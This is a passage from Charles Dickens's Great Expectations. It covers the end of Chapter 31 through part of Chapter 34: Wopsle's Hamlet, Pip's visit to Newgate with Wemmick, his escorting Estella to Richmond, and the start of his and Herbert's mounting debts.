comprehensive black cloak, being descried +entering at the turnpike, the gravedigger was admonished in a +friendly way, "Look out! Here's the undertaker a-coming, to see how +you're a-getting on with your work!" I believe it is well known in +a constitutional country that Mr. Wopsle could not possibly have +returned the skull, after moralizing over it, without dusting his +fingers on a white napkin taken from his breast; but even that +innocent and indispensable action did not pass without the comment +"Wai-ter!" The arrival of the body for interment (in an empty black +box with the lid tumbling open), was the signal for a general joy +which was much enhanced by the discovery, among the bearers, of an +individual obnoxious to identification. The joy attended Mr. Wopsle +through his struggle with Laertes on the brink of the orchestra and +the grave, and slackened no more until he had tumbled the king off +the kitchen-table, and had died by inches from the ankles upward. + +We had made some pale efforts in the beginning to applaud Mr. +Wopsle; but they were too hopeless to be persisted in. Therefore we +had sat, feeling keenly for him, but laughing, nevertheless, from +ear to ear. I laughed in spite of myself all the time, the whole +thing was so droll; and yet I had a latent impression that there +was something decidedly fine in Mr. Wopsle's elocution - not for old +associations' sake, I am afraid, but because it was very slow, very +dreary, very up-hill and down-hill, and very unlike any way in +which any man in any natural circumstances of life or death ever +expressed himself about anything. When the tragedy was over, and he +had been called for and hooted, I said to Herbert, "Let us go at +once, or perhaps we shall meet him." + +We made all the haste we could down-stairs, but we were not quick +enough either. Standing at the door was a Jewish man with an +unnatural heavy smear of eyebrow, who caught my eyes as we +advanced, and said, when we came up with him: + +"Mr. Pip and friend?" + +Identity of Mr. Pip and friend confessed. + +"Mr. Waldengarver," said the man, "would be glad to have the +honour." + +"Waldengarver?" I repeated - when Herbert murmured in my ear, +"Probably Wopsle." + +"Oh!" said I. "Yes. Shall we follow you?" + +"A few steps, please." When we were in a side alley, he turned and +asked, "How did you think he looked? - I dressed him." + +I don't know what he had looked like, except a funeral; with the +addition of a large Danish sun or star hanging round his neck by a +blue ribbon, that had given him the appearance of being insured in +some extraordinary Fire Office. But I said he had looked very nice. + +"When he come to the grave," said our conductor, "he showed his +cloak beautiful. But, judging from the wing, it looked to me that +when he see the ghost in the queen's apartment, he might have made +more of his stockings." + +I modestly assented, and we all fell through a little dirty swing +door, into a sort of hot packing-case immediately behind it. Here +Mr. Wopsle was divesting himself of his Danish garments, and here +there was just room for us to look at him over one another's +shoulders, by keeping the packing-case door, or lid, wide open. + +"Gentlemen," said Mr. Wopsle, "I am proud to see you. I hope, Mr. +Pip, you will excuse my sending round. I had the happiness to know +you in former times, and the Drama has ever had a claim which has +ever been acknowledged, on the noble and the affluent." + +Meanwhile, Mr. Waldengarver, in a frightful perspiration, was trying +to get himself out of his princely sables. + +"Skin the stockings off, Mr. Waldengarver," said the owner of that +property, "or you'll bust 'em. Bust 'em, and you'll bust +five-and-thirty shillings. Shakspeare never was complimented with a +finer pair. Keep quiet in your chair now, and leave 'em to me." + +With that, he went upon his knees, and began to flay his victim; +who, on the first stocking coming off, would certainly have fallen +over backward with his chair, but for there being no room to fall +anyhow. + +I had been afraid until then to say a word about the play. But +then, Mr. Waldengarver looked up at us complacently, and said: + +"Gentlemen, how did it seem to you, to go, in front?" + +Herbert said from behind (at the same time poking me), "capitally." +So I said "capitally." + +"How did you like my reading of the character, gentlemen?" said Mr. +Waldengarver, almost, if not quite, with patronage. + +Herbert said from behind (again poking me), "massive and concrete." +So I said boldly, as if I had originated it, and must beg to insist +upon it, "massive and concrete." + +"I am glad to have your approbation, gentlemen," said Mr. +Waldengarver, with an air of dignity, in spite of his being ground +against the wall at the time, and holding on by the seat of the +chair. + +"But I'll tell you one thing, Mr. Waldengarver," said the man who +was on his knees, "in which you're out in your reading. Now mind! I +don't care who says contrairy; I tell you so. You're out in your +reading of Hamlet when you get your legs in profile. The last +Hamlet as I dressed, made the same mistakes in his reading at +rehearsal, till I got him to put a large red wafer on each of his +shins, and then at that rehearsal (which was the last) I went in +front, sir, to the back of the pit, and whenever his reading +brought him into profile, I called out "I don't see no wafers!" And +at night his reading was lovely." + +Mr. Waldengarver smiled at me, as much as to say "a faithful +dependent - I overlook his folly;" and then said aloud, "My view is +a little classic and thoughtful for them here; but they will +improve, they will improve." + +Herbert and I said together, Oh, no doubt they would improve. + +"Did you observe, gentlemen," said Mr. Waldengarver, "that there was +a man in the gallery who endeavoured to cast derision on the +service - I mean, the representation?" + +We basely replied that we rather thought we had noticed such a man. +I added, "He was drunk, no doubt." + +"Oh dear no, sir," said Mr. Wopsle, "not drunk. His employer would +see to that, sir. His employer would not allow him to be drunk." + +"You know his employer?" said I. + +Mr. Wopsle shut his eyes, and opened them again; performing both +ceremonies very slowly. "You must have observed, gentlemen," said +he, "an ignorant and a blatant ass, with a rasping throat and a +countenance expressive of low malignity, who went through - I will +not say sustained - the role (if I may use a French expression) of +Claudius King of Denmark. That is his employer, gentlemen. Such is +the profession!" + +Without distinctly knowing whether I should have been more sorry +for Mr. Wopsle if he had been in despair, I was so sorry for him as +it was, that I took the opportunity of his turning round to have +his braces put on - which jostled us out at the doorway - to ask +Herbert what he thought of having him home to supper? Herbert said +he thought it would be kind to do so; therefore I invited him, and +he went to Barnard's with us, wrapped up to the eyes, and we did +our best for him, and he sat until two o'clock in the morning, +reviewing his success and developing his plans. I forget in detail +what they were, but I have a general recollection that he was to +begin with reviving the Drama, and to end with crushing it; +inasmuch as his decease would leave it utterly bereft and without a +chance or hope. + +Miserably I went to bed after all, and miserably thought of +Estella, and miserably dreamed that my expectations were all +cancelled, and that I had to give my hand in marriage to Herbert's +Clara, or play Hamlet to Miss Havisham's Ghost, before twenty +thousand people, without knowing twenty words of it. + + +Chapter 32 + +One day when I was busy with my books and Mr. Pocket, I received a +note by the post, the mere outside of which threw me into a great +flutter; for, though I had never seen the handwriting in which it +was addressed, I divined whose hand it was. It had no set +beginning, as Dear Mr. Pip, or Dear Pip, or Dear Sir, or Dear +Anything, but ran thus: + +"I am to come to London the day after to-morrow by the mid-day +coach. I believe it was settled you should meet me? At all events +Miss Havisham has that impression, and I write in obedience to it. +She sends you her regard. + +Yours, ESTELLA." + +If there had been time, I should probably have ordered several +suits of clothes for this occasion; but as there was not, I was +fain to be content with those I had. My appetite vanished +instantly, and I knew no peace or rest until the day arrived. Not +that its arrival brought me either; for, then I was worse than ever, +and began haunting the coach-office in wood-street, Cheapside, +before the coach had left the Blue Boar in our town. For all that I +knew this perfectly well, I still felt as if it were not safe to +let the coach-office be out of my sight longer than five minutes at +a time; and in this condition of unreason I had performed the first +half-hour of a watch of four or five hours, when Wemmick ran +against me. + +"Halloa, Mr. Pip," said he; "how do you do? I should hardly have +thought this was your beat." + +I explained that I was waiting to meet somebody who was coming up +by coach, and I inquired after the Castle and the Aged. + +"Both flourishing thankye," said Wemmick, "and particularly the +Aged. He's in wonderful feather. He'll be eighty-two next birthday. +I have a notion of firing eighty-two times, if the neighbourhood +shouldn't complain, and that cannon of mine should prove equal to +the pressure. However, this is not London talk. Where do you think +I am going to?" + +"To the office?" said I, for he was tending in that direction. + +"Next thing to it," returned Wemmick, "I am going to Newgate. We +are in a banker's-parcel case just at present, and I have been down +the road taking as squint at the scene of action, and thereupon +must have a word or two with our client." + +"Did your client commit the robbery?" I asked. + +"Bless your soul and body, no," answered Wemmick, very drily. "But +he is accused of it. So might you or I be. Either of us might be +accused of it, you know." + +"Only neither of us is," I remarked. + +"Yah!" said Wemmick, touching me on the breast with his forefinger; +"you're a deep one, Mr. Pip! Would you like to have a look at +Newgate? Have you time to spare?" + +I had so much time to spare, that the proposal came as a relief, +notwithstanding its irreconcilability with my latent desire to keep +my eye on the coach-office. Muttering that I would make the inquiry +whether I had time to walk with him, I went into the office, and +ascertained from the clerk with the nicest precision and much to +the trying of his temper, the earliest moment at which the coach +could be expected - which I knew beforehand, quite as well as he. I +then rejoined Mr. Wemmick, and affecting to consult my watch and to +be surprised by the information I had received, accepted his offer. + +We were at Newgate in a few minutes, and we passed through the +lodge where some fetters were hanging up on the bare walls among +the prison rules, into the interior of the jail. At that time, +jails were much neglected, and the period of exaggerated reaction +consequent on all public wrong-doing - and which is always its +heaviest and longest punishment - was still far off. So, felons +were not lodged and fed better than soldiers (to say nothing of +paupers), and seldom set fire to their prisons with the excusable +object of improving the flavour of their soup. It was visiting time +when Wemmick took me in; and a potman was going his rounds with +beer; and the prisoners, behind bars in yards, were buying beer, +and talking to friends; and a frouzy, ugly, disorderly, depressing +scene it was. + +It struck me that Wemmick walked among the prisoners, much as a +gardener might walk among his plants. This was first put into my +head by his seeing a shoot that had come up in the night, and +saying, "What, Captain Tom? Are you there? Ah, indeed!" and also, +"Is that Black Bill behind the cistern? Why I didn't look for you +these two months; how do you find yourself?" Equally in his +stopping at the bars and attending to anxious whisperers - always +singly - Wemmick with his post-office in an immovable state, looked +at them while in conference, as if he were taking particular notice +of the advance they had made, since last observed, towards coming +out in full blow at their trial. + +He was highly popular, and I found that he took the familiar +department of Mr. Jaggers's business: though something of the state +of Mr. Jaggers hung about him too, forbidding approach beyond +certain limits. His personal recognition of each successive client +was comprised in a nod, and in his settling his hat a little easier +on his head with both hands, and then tightening the postoffice, +and putting his hands in his pockets. In one or two instances, +there was a difficulty respecting the raising of fees, and then Mr. +Wemmick, backing as far as possible from the insufficient money +produced, said, "it's no use, my boy. I'm only a subordinate. I +can't take it. Don't go on in that way with a subordinate. If you +are unable to make up your quantum, my boy, you had better address +yourself to a principal; there are plenty of principals in the +profession, you know, and what is not worth the while of one, may +be worth the while of another; that's my recommendation to you, +speaking as a subordinate. Don't try on useless measures. Why +should you? Now, who's next?" + +Thus, we walked through Wemmick's greenhouse, until he turned to me +and said, "Notice the man I shall shake hands with." I should have +done so, without the preparation, as he had shaken hands with no +one yet. + +Almost as soon as he had spoken, a portly upright man (whom I can +see now, as I write) in a well-worn olive-coloured frock-coat, with +a peculiar pallor over-spreading the red in his complexion, and +eyes that went wandering about when he tried to fix them, came up +to a corner of the bars, and put his hand to his hat - which had a +greasy and fatty surface like cold broth - with a half-serious and +half-jocose military salute. + +"Colonel, to you!" said Wemmick; "how are you, Colonel?" + +"All right, Mr. Wemmick." + +"Everything was done that could be done, but the evidence was too +strong for us, Colonel." + +"Yes, it was too strong, sir - but I don't care." + +"No, no," said Wemmick, coolly, "you don't care." Then, turning to +me, "Served His Majesty this man. Was a soldier in the line and +bought his discharge." + +I said, "Indeed?" and the man's eyes looked at me, and then looked +over my head, and then looked all round me, and then he drew his +hand across his lips and laughed. + +"I think I shall be out of this on Monday, sir," he said to +Wemmick. + +"Perhaps," returned my friend, "but there's no knowing." + +"I am glad to have the chance of bidding you good-bye, Mr. Wemmick," +said the man, stretching out his hand between two bars. + +"Thankye," said Wemmick, shaking hands with him. "Same to you, +Colonel." + +"If what I had upon me when taken, had been real, Mr. Wemmick," said +the man, unwilling to let his hand go, "I should have asked the +favour of your wearing another ring - in acknowledgment of your +attentions." + +"I'll accept the will for the deed," said Wemmick. "By-the-bye; you +were quite a pigeon-fancier." The man looked up at the sky. "I am +told you had a remarkable breed of tumblers. could you commission +any friend of yours to bring me a pair, of you've no further use +for 'em?" + +"It shall be done, sir?" + +"All right," said Wemmick, "they shall be taken care of. Good +afternoon, Colonel. Good-bye!" They shook hands again, and as we +walked away Wemmick said to me, "A Coiner, a very good workman. The +Recorder's report is made to-day, and he is sure to be executed on +Monday. Still you see, as far as it goes, a pair of pigeons are +portable property, all the same." With that, he looked back, and +nodded at this dead plant, and then cast his eyes about him in +walking out of the yard, as if he were considering what other pot +would go best in its place. + +As we came out of the prison through the lodge, I found that the +great importance of my guardian was appreciated by the turnkeys, no +less than by those whom they held in charge. "Well, Mr. Wemmick," +said the turnkey, who kept us between the two studded and spiked +lodge gates, and who carefully locked one before he unlocked the +other, "what's Mr. Jaggers going to do with that waterside murder? +Is he going to make it manslaughter, or what's he going to make of +it?" + +"Why don't you ask him?" returned Wemmick. + +"Oh yes, I dare say!" said the turnkey. + +"Now, that's the way with them here. Mr. Pip," remarked Wemmick, +turning to me with his post-office elongated. "They don't mind what +they ask of me, the subordinate; but you'll never catch 'em asking +any questions of my principal." + +"Is this young gentleman one of the 'prentices or articled ones of +your office?" asked the turnkey, with a grin at Mr. Wemmick's +humour. + +"There he goes again, you see!" cried Wemmick, "I told you so! Asks +another question of the subordinate before his first is dry! Well, +supposing Mr. Pip is one of them?" + +"Why then," said the turnkey, grinning again, "he knows what Mr. +Jaggers is." + +"Yah!" cried Wemmick, suddenly hitting out at the turnkey in a +facetious way, "you're dumb as one of your own keys when you have +to do with my principal, you know you are. Let us out, you old fox, +or I'll get him to bring an action against you for false +imprisonment." + +The turnkey laughed, and gave us good day, and stood laughing at us +over the spikes of the wicket when we descended the steps into the +street. + +"Mind you, Mr. Pip," said Wemmick, gravely in my ear, as he took my +arm to be more confidential; "I don't know that Mr. Jaggers does a +better thing than the way in which he keeps himself so high. He's +always so high. His constant height is of a piece with his immense +abilities. That Colonel durst no more take leave of him, than that +turnkey durst ask him his intentions respecting a case. Then, +between his height and them, he slips in his subordinate - don't +you see? - and so he has 'em, soul and body." + +I was very much impressed, and not for the first time, by my +guardian's subtlety. To confess the truth, I very heartily wished, +and not for the first time, that I had had some other guardian of +minor abilities. + +Mr. Wemmick and I parted at the office in Little Britain, where +suppliants for Mr. Jaggers's notice were lingering about as usual, +and I returned to my watch in the street of the coach-office, with +some three hours on hand. I consumed the whole time in thinking how +strange it was that I should be encompassed by all this taint of +prison and crime; that, in my childhood out on our lonely marshes +on a winter evening I should have first encountered it; that, it +should have reappeared on two occasions, starting out like a stain +that was faded but not gone; that, it should in this new way +pervade my fortune and advancement. While my mind was thus engaged, +I thought of the beautiful young Estella, proud and refined, coming +towards me, and I thought with absolute abhorrence of the contrast +between the jail and her. I wished that Wemmick had not met me, or +that I had not yielded to him and gone with him, so that, of all +days in the year on this day, I might not have had Newgate in my +breath and on my clothes. I beat the prison dust off my feet as I +sauntered to and fro, and I shook it out of my dress, and I exhaled +its air from my lungs. So contaminated did I feel, remembering who +was coming, that the coach came quickly after all, and I was not +yet free from the soiling consciousness of Mr. Wemmick's +conservatory, when I saw her face at the coach window and her hand +waving to me. + +What was the nameless shadow which again in that one instant had +passed? + + +Chapter 33 + +In her furred travelling-dress, Estella seemed more delicately +beautiful than she had ever seemed yet, even in my eyes. Her manner +was more winning than she had cared to let it be to me before, and +I thought I saw Miss Havisham's influence in the change. + +We stood in the Inn Yard while she pointed out her luggage to me, +and when it was all collected I remembered - having forgotten +everything but herself in the meanwhile - that I knew nothing of +her destination. + +"I am going to Richmond," she told me. "Our lesson is, that there +are two Richmonds, one in Surrey and one in Yorkshire, and that mine +is the Surrey Richmond. The distance is ten miles. I am to have a +carriage, and you are to take me. This is my purse, and you are to +pay my charges out of it. Oh, you must take the purse! We have no +choice, you and I, but to obey our instructions. We are not free to +follow our own devices, you and I." + +As she looked at me in giving me the purse, I hoped there was an +inner meaning in her words. She said them slightingly, but not with +displeasure. + +"A carriage will have to be sent for, Estella. Will you rest here a +little?" + +"Yes, I am to rest here a little, and I am to drink some tea, and +you are to take care of me the while." + +She drew her arm through mine, as if it must be done, and I +requested a waiter who had been staring at the coach like a man who +had never seen such a thing in his life, to show us a private +sitting-room. Upon that, he pulled out a napkin, as if it were a +magic clue without which he couldn't find the way up-stairs, and +led us to the black hole of the establishment: fitted up with a +diminishing mirror (quite a superfluous article considering the +hole's proportions), an anchovy sauce-cruet, and somebody's +pattens. On my objecting to this retreat, he took us into another +room with a dinner-table for thirty, and in the grate a scorched +leaf of a copy-book under a bushel of coal-dust. Having looked at +this extinct conflagration and shaken his head, he took my order: +which, proving to be merely "Some tea for the lady," sent him out +of the room in a very low state of mind. + +I was, and I am, sensible that the air of this chamber, in its +strong combination of stable with soup-stock, might have led one to +infer that the coaching department was not doing well, and that the +enterprising proprietor was boiling down the horses for the +refreshment department. Yet the room was all in all to me, Estella +being in it. I thought that with her I could have been happy there +for life. (I was not at all happy there at the time, observe, and I +knew it well.) + +"Where are you going to, at Richmond?" I asked Estella. + +"I am going to live," said she, "at a great expense, with a lady +there, who has the power - or says she has - of taking me about, +and introducing me, and showing people to me and showing me to +people." + +"I suppose you will be glad of variety and admiration?" + +"Yes, I suppose so." + +She answered so carelessly, that I said, "You speak of yourself as +if you were some one else." + +"Where did you learn how I speak of others? Come, come," said +Estella, smiling delightfully, "you must not expect me to go to +school to you; I must talk in my own way. How do you thrive with +Mr. Pocket?" + +"I live quite pleasantly there; at least--" It appeared to me that +I was losing a chance. + +"At least?" repeated Estella. + +"As pleasantly as I could anywhere, away from you." + +"You silly boy," said Estella, quite composedly, "how can you talk +such nonsense? Your friend Mr. Matthew, I believe, is superior to +the rest of his family?" + +"Very superior indeed. He is nobody's enemy--" + +"Don't add but his own," interposed Estella, "for I hate that class +of man. But he really is disinterested, and above small jealousy +and spite, I have heard?" + +"I am sure I have every reason to say so." + +"You have not every reason to say so of the rest of his people," +said Estella, nodding at me with an expression of face that was at +once grave and rallying, "for they beset Miss Havisham with reports +and insinuations to your disadvantage. They watch you, misrepresent +you, write letters about you (anonymous sometimes), and you are the +torment and the occupation of their lives. You can scarcely realize +to yourself the hatred those people feel for you." + +"They do me no harm, I hope?" + +Instead of answering, Estella burst out laughing. This was very +singular to me, and I looked at her in considerable perplexity. +When she left off - and she had not laughed languidly, but with +real enjoyment - I said, in my diffident way with her: + +"I hope I may suppose that you would not be amused if they did me +any harm." + +"No, no you may be sure of that," said Estella. "You may be certain +that I laugh because they fail. Oh, those people with Miss +Havisham, and the tortures they undergo!" She laughed again, and +even now when she had told me why, her laughter was very singular +to me, for I could not doubt its being genuine, and yet it seemed +too much for the occasion. I thought there must really be something +more here than I knew; she saw the thought in my mind, and answered +it. + +"It is not easy for even you." said Estella, "to know what +satisfaction it gives me to see those people thwarted, or what an +enjoyable sense of the ridiculous I have when they are made +ridiculous. For you were not brought up in that strange house from +a mere baby. - I was. You had not your little wits sharpened by +their intriguing against you, suppressed and defenceless, under the +mask of sympathy and pity and what not that is soft and soothing. - +I had. You did not gradually open your round childish eyes wider +and wider to the discovery of that impostor of a woman who +calculates her stores of peace of mind for when she wakes up in the +night. - I did." + +It was no laughing matter with Estella now, nor was she summoning +these remembrances from any shallow place. I would not have been +the cause of that look of hers, for all my expectations in a heap. + +"Two things I can tell you," said Estella. "First, notwithstanding +the proverb that constant dropping will wear away a stone, you may +set your mind at rest that these people never will - never would, +in hundred years - impair your ground with Miss Havisham, in any +particular, great or small. Second, I am beholden to you as the +cause of their being so busy and so mean in vain, and there is my +hand upon it." + +As she gave it me playfully - for her darker mood had been but +momentary - I held it and put it to my lips. "You ridiculous boy," +said Estella, "will you never take warning? Or do you kiss my hand +in the same spirit in which I once let you kiss my cheek?" + +"What spirit was that?" said I. + +"I must think a moment A spirit of contempt for the fawners and +plotters." + +"If I say yes, may I kiss the cheek again?" + +"You should have asked before you touched the hand. But, yes, if +you like." + +I leaned down, and her calm face was like a statue's. "Now," said +Estella, gliding away the instant I touched her cheek, "you are to +take care that I have some tea, and you are to take me to +Richmond." + +Her reverting to this tone as if our association were forced upon +us and we were mere puppets, gave me pain; but everything in our +intercourse did give me pain. Whatever her tone with me happened to +be, I could put no trust in it, and build no hope on it; and yet I +went on against trust and against hope. Why repeat it a thousand +times? So it always was. + +I rang for the tea, and the waiter, reappearing with his magic +clue, brought in by degrees some fifty adjuncts to that refreshment +but of tea not a glimpse. A teaboard, cups and saucers, plates, +knives and forks (including carvers), spoons (various), +saltcellars, a meek little muffin confined with the utmost +precaution under a strong iron cover, Moses in the bullrushes +typified by a soft bit of butter in a quantity of parsley, a pale +loaf with a powdered head, two proof impressions of the bars of the +kitchen fire-place on triangular bits of bread, and ultimately a +fat family urn: which the waiter staggered in with, expressing in +his countenance burden and suffering. After a prolonged absence at +this stage of the entertainment, he at length came back with a +casket of precious appearance containing twigs. These I steeped in +hot water, and so from the whole of these appliances extracted one +cup of I don't know what, for Estella. + +The bill paid, and the waiter remembered, and the ostler not +forgotten, and the chambermaid taken into consideration - in a +word, the whole house bribed into a state of contempt and +animosity, and Estella's purse much lightened - we got into our +post-coach and drove away. Turning into Cheapside and rattling up +Newgate-street, we were soon under the walls of which I was so +ashamed. + +"What place is that?" Estella asked me. + +I made a foolish pretence of not at first recognizing it, and then +told her. As she looked at it, and drew in her head again, +murmuring "Wretches!" I would not have confessed to my visit for +any consideration. + +"Mr. Jaggers," said I, by way of putting it neatly on somebody else, +"has the reputation of being more in the secrets of that dismal +place than any man in London." + +"He is more in the secrets of every place, I think," said Estella, +in a low voice. + +"You have been accustomed to see him often, I suppose?" + +"I have been accustomed to see him at uncertain intervals, ever +since I can remember. But I know him no better now, than I did +before I could speak plainly. What is your own experience of him? +Do you advance with him?" + +"Once habituated to his distrustful manner," said I, "I have done +very well." + +"Are you intimate?" + +"I have dined with him at his private house." + +"I fancy," said Estella, shrinking "that must be a curious place." + +"It is a curious place." + +I should have been chary of discussing my guardian too freely even +with her; but I should have gone on with the subject so far as to +describe the dinner in Gerrard-street, if we had not then come into +a sudden glare of gas. It seemed, while it lasted, to be all alight +and alive with that inexplicable feeling I had had before; and when +we were out of it, I was as much dazed for a few moments as if I +had been in Lightning. + +So, we fell into other talk, and it was principally about the way +by which we were travelling, and about what parts of London lay on +this side of it, and what on that. The great city was almost new to +her, she told me, for she had never left Miss Havisham's +neighbourhood until she had gone to France, and she had merely +passed through London then in going and returning. I asked her if +my guardian had any charge of her while she remained here? To that +she emphatically said "God forbid!" and no more. + +It was impossible for me to avoid seeing that she cared to attract +me; that she made herself winning; and would have won me even if +the task had needed pains. Yet this made me none the happier, for, +even if she had not taken that tone of our being disposed of by +others, I should have felt that she held my heart in her hand +because she wilfully chose to do it, and not because it would have +wrung any tenderness in her, to crush it and throw it away. + +When we passed through Hammersmith, I showed her where Mr. Matthew +Pocket lived, and said it was no great way from Richmond, and that +I hoped I should see her sometimes. + +"Oh yes, you are to see me; you are to come when you think proper; +you are to be mentioned to the family; indeed you are already +mentioned." + +I inquired was it a large household she was going to be a member +of? + +"No; there are only two; mother and daughter. The mother is a lady +of some station, though not averse to increasing her income." + +"I wonder Miss Havisham could part with you again so soon." + +"It is a part of Miss Havisham's plans for me, Pip," said Estella, +with a sigh, as if she were tired; "I am to write to her constantly +and see her regularly and report how I go on - I and the jewels - +for they are nearly all mine now." + +It was the first time she had ever called me by my name. Of course +she did so, purposely, and knew that I should treasure it up. + +We came to Richmond all too soon, and our destination there, was a +house by the Green; a staid old house, where hoops and powder and +patches, embroidered coats rolled stockings ruffles and swords, had +had their court days many a time. Some ancient trees before the +house were still cut into fashions as formal and unnatural as the +hoops and wigs and stiff skirts; but their own allotted places in +the great procession of the dead were not far off, and they would +soon drop into them and go the silent way of the rest. + +A bell with an old voice - which I dare say in its time had often +said to the house, Here is the green farthingale, Here is the +diamondhilted sword, Here are the shoes with red heels and the blue +solitaire, - sounded gravely in the moonlight, and two +cherrycoloured maids came fluttering out to receive Estella. The +doorway soon absorbed her boxes, and she gave me her hand and a +smile, and said good night, and was absorbed likewise. And still I +stood looking at the house, thinking how happy I should be if I +lived there with her, and knowing that I never was happy with her, +but always miserable. + +I got into the carriage to be taken back to Hammersmith, and I got +in with a bad heart-ache, and I got out with a worse heart-ache. At +our own door, I found little Jane Pocket coming home from a little +party escorted by her little lover; and I envied her little lover, +in spite of his being subject to Flopson. + +Mr. Pocket was out lecturing; for, he was a most delightful lecturer +on domestic economy, and his treatises on the management of +children and servants were considered the very best text-books on +those themes. But, Mrs. Pocket was at home, and was in a little +difficulty, on account of the baby's having been accommodated with +a needle-case to keep him quiet during the unaccountable absence +(with a relative in the Foot Guards) of Millers. And more needles +were missing, than it could be regarded as quite wholesome for a +patient of such tender years either to apply externally or to take +as a tonic. + +Mr. Pocket being justly celebrated for giving most excellent +practical advice, and for having a clear and sound perception of +things and a highly judicious mind, I had some notion in my +heartache of begging him to accept my confidence. But, happening to +look up at Mrs. Pocket as she sat reading her book of dignities +after prescribing Bed as a sovereign remedy for baby, I thought - +Well - No, I wouldn't. + + +Chapter 34 + +As I had grown accustomed to my expectations, I had insensibly +begun to notice their effect upon myself and those around me. Their +influence on my own character, I disguised from my recognition as +much as possible, but I knew very well that it was not all good. I +lived in a state of chronic uneasiness respecting my behaviour to +Joe. My conscience was not by any means comfortable about Biddy. +When I woke up in the night - like Camilla - I used to think, with +a weariness on my spirits, that I should have been happier and +better if I had never seen Miss Havisham's face, and had risen to +manhood content to be partners with Joe in the honest old forge. +Many a time of an evening, when I sat alone looking at the fire, I +thought, after all, there was no fire like the forge fire and the +kitchen fire at home. + +Yet Estella was so inseparable from all my restlessness and +disquiet of mind, that I really fell into confusion as to the +limits of my own part in its production. That is to say, supposing +I had had no expectations, and yet had had Estella to think of, I +could not make out to my satisfaction that I should have done much +better. Now, concerning the influence of my position on others, I +was in no such difficulty, and so I perceived - though dimly enough +perhaps - that it was not beneficial to anybody, and, above all, +that it was not beneficial to Herbert. My lavish habits led his +easy nature into expenses that he could not afford, corrupted the +simplicity of his life, and disturbed his peace with anxieties and +regrets. I was not at all remorseful for having unwittingly set +those other branches of the Pocket family to the poor arts they +practised: because such littlenesses were their natural bent, and +would have been evoked by anybody else, if I had left them +slumbering. But Herbert's was a very different case, and it often +caused me a twinge to think that I had done him evil service in +crowding his sparely-furnished chambers with incongruous upholstery +work, and placing the canary-breasted Avenger at his disposal. + +So now, as an infallible way of making little ease great ease, I +began to contract a quantity of debt. I could hardly begin but +Herbert must begin too, so he soon followed. At Startop's +suggestion, we put ourselves down for election into a club called +The Finches of the Grove: the object of which institution I have +never divined, if it were not that the members should dine +expensively once a fortnight, to quarrel among themselves as much +as possible after dinner, and to cause six waiters to get drunk on +the stairs. I Know that these gratifying social ends were so +invariably accomplished, that Herbert and I understood nothing else +to be referred to in the first standing toast of the society: which +ran "Gentlemen, may the present promotion of good feeling ever +reign predominant among the Finches of the Grove." + +The Finches spent their money foolishly (the Hotel we dined at was +in Covent-garden), and the first Finch I saw, when I had the honour +of joining the Grove, was Bentley Drummle: at that time floundering +about town in a cab of his own, and doing a great deal of damage to +the posts at the street corners. Occasionally, he shot himself out +of his equipage head-foremost over the apron; and I saw him on one +occasion deliver himself at the door of the Grove in this +unintentional way - like coals. But here I anticipate a little for +I was not a Finch, and could not be, according to the sacred laws +of the society, until I came of age. + +In my confidence in my own resources, I would willingly have taken +Herbert's expenses on myself; but Herbert was proud, and I could +make no such proposal to him. So, he got into difficulties in every +direction, and continued to look about him. When we gradually fell +into keeping late hours and late company, I noticed that he looked +about him with a desponding eye at breakfast-time; that he began to +look about him more hopefully about mid-day; that he drooped when +he came into dinner; that he seemed to descry Capital in the +distance rather clearly, after dinner; that he all but realized +Capital towards midnight; and that at about two o'clock in the +morning, he became so deeply despondent again as to talk of buying +a rifle and going to America, with a general purpose of compelling +buffaloes to make his fortune. + +I was usually at Hammersmith about half the week, and when I was at +Hammersmith I haunted Richmond: whereof separately by-and-by. +Herbert would often come to Hammersmith when I was there, and I +think at those seasons his father would occasionally have some +passing perception that the opening he was looking for, had not +appeared yet. But in the general tumbling up of the family, his +tumbling out in life somewhere, was a thing to transact itself +somehow. In the meantime Mr. Pocket grew greyer, and tried oftener +to lift himself out of his perplexities by the hair. While Mrs. +Pocket tripped up the family with her footstool, read her book of +dignities, lost her pocket-handkerchief, told us about her +grandpapa, and taught the young idea how to shoot, by shooting it +into bed whenever it attracted her notice. + +As I am now generalizing a period of my life with the object of +clearing my way before me, I can scarcely do so better than by at +once completing the description of our usual manners and customs at +Barnard's Inn. + +We spent as much money as we could, and got as little for it as +people could make up their minds to give us. We were always more or +less miserable, and most of our acquaintance were in the same +condition. There was a gay fiction among us that we were constantly +enjoying ourselves, and a skeleton truth that we never did. To the +best of my belief, our case was in the last aspect a rather common +one. + +Every morning, with an air ever new, Herbert went into the City to +look about him. I often paid him a visit in the dark back-room in +which he consorted with an ink-jar, a hat-peg, a coal-box, a +string-box, an almanack, a desk and stool, and a ruler; and I do +not remember that I ever saw him do anything else but look about +him. If we all did what we undertake to do, as faithfully as +Herbert did, we might live in a Republic of the Virtues. He had +nothing else to do, poor fellow, except at a certain hour of every +afternoon to "go to Lloyd's" - in observance of a ceremony of +seeing his principal, I think. He never did anything else in +connexion with Lloyd's that I could find out, except come back +again. When he felt his case unusually serious, and that he +positively must find an opening, he would go on 'Change at a busy +time, and walk in and out, in a kind of gloomy country dance +figure, among the assembled magnates. "For," says Herbert to me, +coming home to dinner on one of those special occasions, "I find +the truth to be, Handel, that an opening won't come to one, but one +must go to it - so I have been." + +If we had been less attached to one another, I think we must have +hated one another regularly every morning. I detested the chambers +beyond expression at that period of repentance, and could not +endure the sight of the Avenger's livery: which had a more +expensive and a less remunerative appearance then, than at any +other time in the four-and-twenty hours. As we got more and more +into debt breakfast became a hollower and hollower form, and, being +on one occasion at breakfast-time threatened (by letter) with legal +proceedings, "not unwholly unconnected," as my local paper might +put it, "with jewellery," I went so far as to seize the Avenger by +his blue collar and shake him off his feet - so that he was +actually in the air, like a booted Cupid - for presuming to suppose +that we wanted a roll. + +At certain times - meaning at uncertain times, for they depended on +our humour - I would say to Herbert, as if it were a remarkable +discovery: + +"My dear Herbert, we are getting on badly." + +"My dear Handel," Herbert would say to me, in all sincerity, if you +will believe me, those very words were on my lips, by a strange +coincidence." + +"Then, Herbert," I would respond, "let us look into out affairs." + +We always derived profound satisfaction from making an appointment +for this purpose. I always thought this was business, this was the +way to confront the thing, this was the way to take the foe by the +throat. And I know Herbert thought so too. + +We ordered something rather special for dinner, with a bottle of +something similarly out of the common way, in order that our minds +might be fortified for the occasion, and we might come well up to +the mark. Dinner over, we produced a bundle of pens, a copious +supply of ink, and a goodly show of writing and blotting paper. +For, there was something very comfortable in having plenty of +stationery. + +I would then take a sheet of paper, and write across the top of it, +in a neat hand, the heading, "Memorandum of Pip's debts;" with 